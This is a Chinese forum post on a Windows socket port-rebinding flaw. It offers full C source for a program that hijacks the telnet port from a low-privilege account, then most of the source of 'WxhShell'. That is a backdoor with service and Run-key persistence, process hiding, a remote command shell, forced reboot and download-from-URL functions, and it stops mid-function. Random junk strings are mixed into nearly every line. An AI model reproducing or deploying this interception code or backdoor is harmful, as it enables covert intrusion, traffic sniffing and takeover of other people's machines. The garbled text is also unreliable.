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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?gXp*>Kg[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N6TH}~62}  
/g.U&oI]D  
  saddr.sin_family = AF_INET; .fs3>@T"#  
7uk[Oy<_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UC$ppTCc?  
yWf`rF{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zKK9r~ M  
HK% 7g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Pc]HP  
MpOc  
  这意味着什么?意味着可以进行如下的攻击: V]?R>qhgu  
l}P=/#</T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u$`a7Lp,n  
lk=<A"^S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !PE]C!*gv&  
1AFA=t:]p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NCD04U5y  
dgP3@`YS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #p{4^  
c[s4EUG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (w zQ2Dk  
?r!o~|9|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [<TrS/,)>  
og>uj>H&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f,Ghb~y  
!TcJ)0   
  #include bN=P*hdf  
  #include -7|H}!DFT  
  #include $Z>'Jp  
  #include    7PF%76TO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   51.%;aY~z  
  int main() 5E <kwi  
  { :fJN->wY^s  
  WORD wVersionRequested; /Gfw8g\}  
  DWORD ret; q0 \6F^;M  
  WSADATA wsaData; Zgb!E]V[  
  BOOL val; N)Z?Z+ }h  
  SOCKADDR_IN saddr; 'we>q@  
  SOCKADDR_IN scaddr; >C~6\L`c  
  int err; bQ5\ ]5M  
  SOCKET s; Ht&Y C<X  
  SOCKET sc; -%4,@ x`  
  int caddsize; @[v~y"tE}  
  HANDLE mt; ,wPr"U+7  
  DWORD tid;   ~bpgSP"  
  wVersionRequested = MAKEWORD( 2, 2 ); r@,2E6xn  
  err = WSAStartup( wVersionRequested, &wsaData ); ]]Ufas9  
  if ( err != 0 ) { %N_%JK\{@  
  printf("error!WSAStartup failed!\n"); 9o!Bzy+_  
  return -1; |gY^)9ei  
  } 8a"%0d#  
  saddr.sin_family = AF_INET; xe$_aBU  
   ,"0 :3+(8;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q=dy<kg']  
?Ss!e$jf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yaV|AB$v  
  saddr.sin_port = htons(23); {(?4!rh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pmYHUj #  
  { SZCze"`[  
  printf("error!socket failed!\n"); II=79$n`G  
  return -1; PTV:IzoW  
  } eJ81-!)  
  val = TRUE; j*m%*_kO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9(<@O%YU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YZJyk:H\  
  { r:TH]hs12+  
  printf("error!setsockopt failed!\n"); wwcBsJ1{  
  return -1; ^LzF@{ G  
  } _h1mF<\ X^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7Fsay+a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @9|hMo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PeEj&4k  
U,1-A=Og{o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ={Qi0Pvt  
  { | VDV<g5h  
  ret=GetLastError(); IO:G1;[/2L  
  printf("error!bind failed!\n"); FML(4BY,  
  return -1; Wh{tZ~c  
  } %e} Saf  
  listen(s,2); bi;1s'Y<D  
  while(1) g< .qUBPKX  
  { 13/]DF,S"^  
  caddsize = sizeof(scaddr); P{^6v=8)  
  //接受连接请求 o#1 $q`Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Eu04e N  
  if(sc!=INVALID_SOCKET) seeB S/%  
  { ~4cC/"q$X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {H'Y `+  
  if(mt==NULL) o*hF<D$Y  
  { FHI ;)wn=  
  printf("Thread Creat Failed!\n"); ENY+^7  
  break; BTrn0  
  } ,UE83j8D^  
  } )dd@\n$6  
  CloseHandle(mt);  %D "I  
  } a C)!T  
  closesocket(s); 8, >P  
  WSACleanup(); )wh A<lC  
  return 0; "kqPmeI  
  }   hP&B t  
  DWORD WINAPI ClientThread(LPVOID lpParam) U~7c+}:c  
  { "g8M0[7e3  
  SOCKET ss = (SOCKET)lpParam; X!g#T9kG  
  SOCKET sc; Uf+%W;}  
  unsigned char buf[4096]; Q&bM\;Ml  
  SOCKADDR_IN saddr; ]e@Oiq  
  long num; Pk)1WK7E  
  DWORD val; QP J4~  
  DWORD ret; \dQNLLg/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g eCM<]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K", N!koj  
  saddr.sin_family = AF_INET; r]36z X v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k"w"hg&e  
  saddr.sin_port = htons(23); k|d+#u[Mj@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $* Kvc$D  
  { wLr_-vJ  
  printf("error!socket failed!\n"); wq`Bd  
  return -1; }RqK84K  
  } >[*qf9$  
  val = 100; *c+ (-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) < c/5b]No  
  { *~i ])4  
  ret = GetLastError(); /&94 eC  
  return -1; ,zY$8y]  
  } lHX72s|V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8}UI bF  
  { 1|wL\I  
  ret = GetLastError(); f& '  
  return -1; N]sAji*  
  } ?FcAXA/J{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) icK/],  
  { "'\$ g[k  
  printf("error!socket connect failed!\n"); 3m)y|$R  
  closesocket(sc); um0N)&iY  
  closesocket(ss); P";'jVcR  
  return -1;  0lR5<^B  
  } s->^=dy  
  while(1) MFk5K  
  { ^gnZ+`3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L;I]OC^J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IO-Ow!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [ibu/ W$  
  num = recv(ss,buf,4096,0); H_Q+&9^/  
  if(num>0) 0"bcdG<}  
  send(sc,buf,num,0); @MCg%Afw  
  else if(num==0) g}',(tPMZ  
  break; ~Jz6O U*z  
  num = recv(sc,buf,4096,0); ixD)VcD-f  
  if(num>0) @sC`!Rmy'-  
  send(ss,buf,num,0);  kPLxEwl  
  else if(num==0) W6/yn  
  break; D >tR-  
  } ^DwYOo2B  
  closesocket(ss); p.?rey<%  
  closesocket(sc); LSr]S79N1  
  return 0 ; ~R92cH>L  
  } 0:Ol7  
3'u-'  
[u*5z.^  
========================================================== 6,{$J  
ZzT9j~  
下边附上一个代码,,WXhSHELL Y/zj[>  
QMbOuw  
========================================================== (JFWna0@  
t{vJM!kdlQ  
#include "stdafx.h" yaH Zt`Y  
YcpoL@ab  
#include <stdio.h> rh}J3S5vp  
#include <string.h> gSQJJxZ{?  
#include <windows.h> @6T/Tdz  
#include <winsock2.h> g7W"  
#include <winsvc.h> |8tilOqI  
#include <urlmon.h> I&W=Q[m  
hx]?&zT@  
#pragma comment (lib, "Ws2_32.lib") wDe& 1(T^  
#pragma comment (lib, "urlmon.lib") A2jUmK.&  
q5)O%l!  
#define MAX_USER   100 // 最大客户端连接数 fmDCPkj  
#define BUF_SOCK   200 // sock buffer PxDh7{  
#define KEY_BUFF   255 // 输入 buffer ]3.;PWa:  
x+@rg];m  
#define REBOOT     0   // 重启 N5b!.B x-w  
#define SHUTDOWN   1   // 关机 Ej8^Zg  
iqQD{SRt{  
#define DEF_PORT   5000 // 监听端口 v #j$;  
&FN.:_E  
#define REG_LEN     16   // 注册表键长度 ckE-",G  
#define SVC_LEN     80   // NT服务名长度 2a Q[zK  
8c^TT&  
// 从dll定义API rCdu0 gYT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <B6H. P =  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dVT$VQg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @QPz #-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M:B=\&.O  
338k?nHxv  
// wxhshell配置信息 n8ZZ#}Nhg  
struct WSCFG { q'Tf,a  
  int ws_port;         // 监听端口 _.Uh)-yR  
  char ws_passstr[REG_LEN]; // 口令 %aVq+kC h  
  int ws_autoins;       // 安装标记, 1=yes 0=no x-&@wMqkc  
  char ws_regname[REG_LEN]; // 注册表键名 'kO!^6=4M  
  char ws_svcname[REG_LEN]; // 服务名 lp%pbx43s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZeaA%y67U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~%kkeh\j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P:MT*ra*,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t=W}SH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mSl.mi(JiZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;,:`1UI  
]K,Tnyp  
}; z/@slT  
Od,qbU4O  
// default Wxhshell configuration fSvM(3Y<Qh  
struct WSCFG wscfg={DEF_PORT, _5Ct]vy  
    "xuhuanlingzhe", R)s:rJQ=p  
    1, ,S]7 'UP  
    "Wxhshell", jLHkOk5{:  
    "Wxhshell", Sk\K4  
            "WxhShell Service", Ls+2Zbh  
    "Wrsky Windows CmdShell Service", Tqn@P  
    "Please Input Your Password: ", 5f K_Aq{  
  1, nazZ*lC  
  "http://www.wrsky.com/wxhshell.exe", Gm^U;u}=f  
  "Wxhshell.exe" |~mOfuQb  
    }; ra gXn  
O`t&ldU  
// 消息定义模块 l L@XM2"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eF-."1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !9VY|&fHe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -3Z,EaG^  
char *msg_ws_ext="\n\rExit."; O23k:=Av  
char *msg_ws_end="\n\rQuit."; =wV<hg)C  
char *msg_ws_boot="\n\rReboot..."; m'=Crei  
char *msg_ws_poff="\n\rShutdown..."; =|y9UlsD  
char *msg_ws_down="\n\rSave to "; nBSYsp{  
( 2E\p  
char *msg_ws_err="\n\rErr!"; '/p/8V.O.  
char *msg_ws_ok="\n\rOK!"; .:%0E`E  
Zaf:fsj>  
char ExeFile[MAX_PATH]; jZkcBIK2  
int nUser = 0; 6wjw^m0  
HANDLE handles[MAX_USER]; 1FL~ndJs  
int OsIsNt; LxSpctiNx  
!")tU+:  
SERVICE_STATUS       serviceStatus; ~t~k2^)|"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q1I6$8:7  
W/bQd)Jvk  
// 函数声明 J$w<$5UY  
int Install(void); C]`$AqKl  
int Uninstall(void); qv KG-|j  
int DownloadFile(char *sURL, SOCKET wsh); z3m85F%dR  
int Boot(int flag); :v&$o'Sak  
void HideProc(void); |a`Sc %  
int GetOsVer(void); u$Jz~:=,  
int Wxhshell(SOCKET wsl); .|>3k'<l  
void TalkWithClient(void *cs); #:U%mHT(_  
int CmdShell(SOCKET sock); dhf!o0'1M  
int StartFromService(void); u5b|#&-mX  
int StartWxhshell(LPSTR lpCmdLine); Y>dzR)~3[  
W ]?G}Q;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S3*`jF>q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pG^  
-4IE]'##  
// 数据结构和表定义 +RMSA^  
SERVICE_TABLE_ENTRY DispatchTable[] = +YKi,  
{ n&qg;TT  
{wscfg.ws_svcname, NTServiceMain}, }9#r0Vja  
{NULL, NULL} pis`$_kmwV  
}; CMG&7(MR  
}Gm>`cw-  
// 自我安装 S8wLmd>  
int Install(void) DIfaVo/"  
{ ^]0Pfna+N  
  char svExeFile[MAX_PATH]; :tB1D@Cb6  
  HKEY key; iDz++VNV  
  strcpy(svExeFile,ExeFile); Sc1 8dC0  
p\tm:QWD;  
// 如果是win9x系统,修改注册表设为自启动 kY|utoAP  
if(!OsIsNt) { r Iu$pZO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S\YTX%Xm}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N06OvU2>xU  
  RegCloseKey(key); %G/ hD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^?7-r6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lH x^D;m6  
  RegCloseKey(key); RYQR(v  
  return 0; SpLzm A  
    } rv^@,8vq  
  } n&;85IF1  
} TA`1U;c{n  
else { bz2ztH9 n  
i$:*Pb3mV  
// 如果是NT以上系统,安装为系统服务 v6M6>&RR|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fa Qe_;  
if (schSCManager!=0) b_#m}yZ6  
{ ~hnQUS`A  
  SC_HANDLE schService = CreateService +_?hK{Ib"  
  ( 8:c-k|CX  
  schSCManager, ]}-7_n#cC  
  wscfg.ws_svcname, rq/yD,I,  
  wscfg.ws_svcdisp, r6MMCJ|G  
  SERVICE_ALL_ACCESS, +ocol6G7W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7u S~MW  
  SERVICE_AUTO_START, . y-D16V  
  SERVICE_ERROR_NORMAL, %S@ZXf~:  
  svExeFile, \K{0L  
  NULL, QQ*hCyw!  
  NULL, vv3* j&I  
  NULL, 0d"[l@UU0  
  NULL, &0OG*}gi  
  NULL \FbvHr,  
  ); :0j?oY~e  
  if (schService!=0) ,.83m%i  
  { LqoB 10Kc\  
  CloseServiceHandle(schService); jk; clwyz/  
  CloseServiceHandle(schSCManager); +,T RfP Fb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 85|OGtt  
  strcat(svExeFile,wscfg.ws_svcname); U0 Yll4E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (cAIvgI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h5{'Q$Erl  
  RegCloseKey(key); 1MP~dRZ$  
  return 0; xd q?/^E  
    } zl>nSndRE  
  } hYT0l$Ng  
  CloseServiceHandle(schSCManager); ]YnD  
} [fya)}  
} 6y%qVx#!  
c)TPM/>(p  
return 1; #zv3b[@  
} "/*\1v9  
N ,'GN[s  
// 自我卸载 B4c]}r+  
int Uninstall(void) {7"Q\  
{ n/;WxnnQ  
  HKEY key; ]_mb7X>  
lk^Ol&6  
if(!OsIsNt) { c@!_ /0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Uq|w[LA  
  RegDeleteValue(key,wscfg.ws_regname); -[4T  
  RegCloseKey(key); ^e2VE_8L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xy|So|/bKd  
  RegDeleteValue(key,wscfg.ws_regname); F 5bj=mI  
  RegCloseKey(key); n71r_S*  
  return 0; 6@h/*WElG  
  } \%JgH=@ :=  
} M)J5;^["  
} 9-VNp;V  
else { RVnjNy;O`  
iW]j9}t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v}}F,c(f  
if (schSCManager!=0) 7Utn\l  
{ T6y\|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3 Gp$a;g  
  if (schService!=0) '1P2$#  
  { ?Ny9'g>?  
  if(DeleteService(schService)!=0) { 9N#_( uwt  
  CloseServiceHandle(schService); a+[KI  
  CloseServiceHandle(schSCManager); G}9Jg  
  return 0; >a!/QMh  
  } CTB~Yj@d+  
  CloseServiceHandle(schService); !1jBC.G1  
  } $u$!tj  
  CloseServiceHandle(schSCManager); .LPV#&   
} vjbASFF0=  
} /wQy17g  
,uSMQS-O'4  
return 1; 9Z@hPX3.  
} |k )=0mCz  
}Sm(]y  
// 从指定url下载文件 lK?uXr7^  
int DownloadFile(char *sURL, SOCKET wsh) LiC*@W  
{ pz!Zs."f)  
  HRESULT hr; 2RVN\?s:  
char seps[]= "/"; #5Qpu  
char *token; IA fc T!{  
char *file; 1*P~!2h  
char myURL[MAX_PATH]; .wEd"A&j  
char myFILE[MAX_PATH]; *<$*"p  
ttaM.  
strcpy(myURL,sURL); i^/T  
  token=strtok(myURL,seps); bQzZy5,  
  while(token!=NULL) 1jmjg~W  
  { JK7G/]j+Ez  
    file=token; lZd(emH@  
  token=strtok(NULL,seps); .Yamc#A-  
  } m<<+  
?(@ 7r_j  
GetCurrentDirectory(MAX_PATH,myFILE); JU4<|5H  
strcat(myFILE, "\\"); NlA,'`,  
strcat(myFILE, file); oM X  
  send(wsh,myFILE,strlen(myFILE),0); 8 `v-<J  
send(wsh,"...",3,0); n2"a{Ofhlf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gldAP:  
  if(hr==S_OK) ^rB8? kt  
return 0; aj-Km`5r}  
else HDz5&7* .  
return 1; iQ0KfoG?U  
aG-vtld  
} $f$SNx)),  
f%A;`4 `q  
// 系统电源模块 nQF(vTDN  
int Boot(int flag) %e8@*~h@  
{ ]vB$~3||  
  HANDLE hToken; pE3?"YO  
  TOKEN_PRIVILEGES tkp; vSGH[nyCY  
^)470K`%)  
  if(OsIsNt) { /`Ug9,*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WqR&&gz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PF0_8,@U  
    tkp.PrivilegeCount = 1; ^Y?k0z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #z'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M :=J^0  
if(flag==REBOOT) { :;v~%e{k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9sM!`Lz{  
  return 0; (=FRmdeYl1  
} 1>.Ev,X+e  
else { VnSCz" ?3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?=u\n;w)  
  return 0; ob!P ;]T  
} O"+ gQXe  
  } ,=uD^n:  
  else { W Tcw4  
if(flag==REBOOT) { `{gHA+B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nd`1m[7MNu  
  return 0; FBG4pb9=~  
} B5`EoZ  
else { `C,n0'PL.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x[| }.Ew  
  return 0;  > ^O7  
} \Zb;'eDv  
} ImA @}:  
2/U.| *mH  
return 1; qRu~$K  
} b;L\EB  
Q@=Q0  
// win9x进程隐藏模块 zWnX*2>b  
void HideProc(void) xPdG*OcX!  
{ \wmN  
.w:DFk^E]b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PgAf\.48a  
  if ( hKernel != NULL ) pP1|&`}ux  
  { ,S\CC{!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S0$8@"~=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y1z4ik)Sd@  
    FreeLibrary(hKernel); hy9\57_#  
  } Oz.HH  
EX*HiZU>  
return; 4a&RYx  
} y-Fo=y  
^ G]J,+  
// 获取操作系统版本 -$\y_?}  
int GetOsVer(void) J @`1TU  
{ Xa[.3=bV?  
  OSVERSIONINFO winfo; )Dm s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ 8(q$  
  GetVersionEx(&winfo); ,.S~ Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9p85Pv [M=  
  return 1; )w em|:H  
  else rD tY[  
  return 0; K&u_R  
} 1pVS&0W  
.C%<P"=J4h  
// 客户端句柄模块 D#aDv0b  
int Wxhshell(SOCKET wsl) b\f O8{k  
{ &{5,:%PXw  
  SOCKET wsh; sVQ|*0(J0r  
  struct sockaddr_in client; bt SRtf  
  DWORD myID; Y!xF ;a  
F k7?xc  
  while(nUser<MAX_USER) " > ypIR<  
{ $L `d&$Vh  
  int nSize=sizeof(client); 'JtBZFq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >\R+9p:o  
  if(wsh==INVALID_SOCKET) return 1; /|w6:;$;mn  
`6;?9NI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e v}S+!|U  
if(handles[nUser]==0) +SzU  
  closesocket(wsh); RIR\']WN  
else x%=si[P  
  nUser++; q$L%36u~/  
  } '$Dn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NCXRevE  
P.se'z)E  
  return 0; W<{h,j8  
} |o"?gB}Dh  
sQ3 [<  
// 关闭 socket QP==?g3  
void CloseIt(SOCKET wsh) _ >?\DgjH  
{ k:i4=5^*GX  
closesocket(wsh); O ;Rqv  
nUser--; /A\8 mL8  
ExitThread(0); 'd0~!w  
} 810|Tj*U%  
c?Y*Y   
// 客户端请求句柄 UsG~row:!  
void TalkWithClient(void *cs) :]K4KFM  
{ cdH>n)  
E, Z$pKL?  
  SOCKET wsh=(SOCKET)cs; XTs8s12  
  char pwd[SVC_LEN]; _~m5^Q&  
  char cmd[KEY_BUFF]; L<c4kw  
char chr[1]; t|?ez4/{z  
int i,j; =HK!(C  
u~N?N W Q  
  while (nUser < MAX_USER) { iO$8:mxm0?  
[|wZ77\  
if(wscfg.ws_passstr) { ';Ea?ID  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UBKu /@[f@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n6=By|jRh  
  //ZeroMemory(pwd,KEY_BUFF); D>r&}6<  
      i=0; },?kk1vIT{  
  while(i<SVC_LEN) { .Z`R^2MU  
>~rTqtKd  
  // 设置超时 O^PKn_OJ  
  fd_set FdRead; ?5__oT  
  struct timeval TimeOut; 3d8L6GJ  
  FD_ZERO(&FdRead); [Y/} ^  
  FD_SET(wsh,&FdRead); OF>mF~  
  TimeOut.tv_sec=8; 2>9C-VL2  
  TimeOut.tv_usec=0; 1.JK3 3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZgJQ?S$D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L&8~f]  
jwe*(k]z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lgAoJ[  
  pwd=chr[0]; 5<k"K^0QS  
  if(chr[0]==0xd || chr[0]==0xa) { ~\SGb_2  
  pwd=0; OnziG+ak  
  break; $p8xEcQdU#  
  } T~?Ff|qFC  
  i++; ' {OgN}'{  
    } T"Y+m-<%  
v~+(GqR=+  
  // 如果是非法用户,关闭 socket g'f@H-KCD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tIi&;tw]  
} BR_1MG'{)$  
Z#jZRNU%ox  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 68|E9^`l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iU918!!N   
LP^$AAy  
while(1) { z kP_6T09  
w(Ovr`o?9t  
  ZeroMemory(cmd,KEY_BUFF); )}R0Y=e  
 ~NgA  
      // 自动支持客户端 telnet标准   Ib!RD/  
  j=0; BZ#(   
  while(j<KEY_BUFF) { Y Uc+0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pad*oPH,  
  cmd[j]=chr[0]; &E F!OBR  
  if(chr[0]==0xa || chr[0]==0xd) { \sixI;-2  
  cmd[j]=0; 2DrM3ZU8  
  break; 9=M$AB  
  } ;+_:,_  
  j++; YqD=>P[O  
    } ^e5=hH-%  
|i*37r6]=  
  // 下载文件 u#fM_>ML  
  if(strstr(cmd,"http://")) { /62!cp/F/D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,KZ~?3$yj  
  if(DownloadFile(cmd,wsh)) TqQB@-!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /HEw-M9z  
  else s[*rzoA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .sW|Id )  
  } ODN /G%l  
  else { Paq4  
2qNt,;DQ  
    switch(cmd[0]) { @;4zrzQi7  
  <}Vrl`?h  
  // 帮助 r6Dz;uz  
  case '?': { rKc9b<Ir  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l30EKoul)  
    break; Wi<m{.%\E  
  } @{e}4s?7od  
  // 安装 ]q[D>6_  
  case 'i': { =BeygT^  
    if(Install()) Jr4Ky<G_i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uZYF(Yu  
    else @bLy,Xr&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B@))8.h]  
    break; t+ TdLDJR  
    } gg/-k;@ Rf  
  // 卸载 iVr JQ  
  case 'r': { v~C Czg  
    if(Uninstall()) :4w ?#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  A@('pA85  
    else Hio0HL-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S+6.ZZ9c  
    break; M0"_^?  
    } y<3-?}.aZ  
  // 显示 wxhshell 所在路径 e{H=dIa+  
  case 'p': { V &T~zh1  
    char svExeFile[MAX_PATH]; MJ)RvNF  
    strcpy(svExeFile,"\n\r"); 8W7J3{d  
      strcat(svExeFile,ExeFile); I][*j  
        send(wsh,svExeFile,strlen(svExeFile),0); v/plpNVp >  
    break; e>OoyDZ@R  
    } UDFDJm$  
  // 重启 Z\rwO>3  
  case 'b': { 4"ZP 'I;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SulY1,  
    if(Boot(REBOOT)) gVuFHHeUz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }>|s=uGW  
    else { 2tO,dx  
    closesocket(wsh); Rp7mh]kZ  
    ExitThread(0); MN>b7O \.?  
    } 9=tIz  
    break; d-ko ^Y0  
    } G*MUO#_iuh  
  // 关机 7A7?GDW  
